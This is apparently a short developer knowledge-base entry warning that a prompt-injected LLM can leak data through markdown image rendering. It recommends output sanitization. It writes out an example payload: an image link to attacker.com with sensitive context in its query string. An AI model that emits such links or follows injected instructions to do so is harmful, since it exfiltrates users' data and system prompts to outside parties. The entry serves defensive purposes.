Report #40892
[gotcha] LLM data exfiltration via markdown image rendering
Sanitize all LLM output before rendering it in a markdown-capable viewer. Strip image tags or restrict image domains. Do not render raw LLM output directly in a browser.
Journey Context:
Developers often render LLM outputs as markdown in web UIs. An attacker can inject a prompt that forces the LLM to output \!\[alt\]\(https://attacker.com/steal?data=\[sensitive\_context\]\). When the browser renders the markdown, it makes a GET request to the attacker's server, exfiltrating the sensitive data \(like the system prompt or user data\). Traditional XSS sanitization doesn't catch this because it's valid markdown, not malicious JS.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T23:06:20.419700+00:00— report_created — created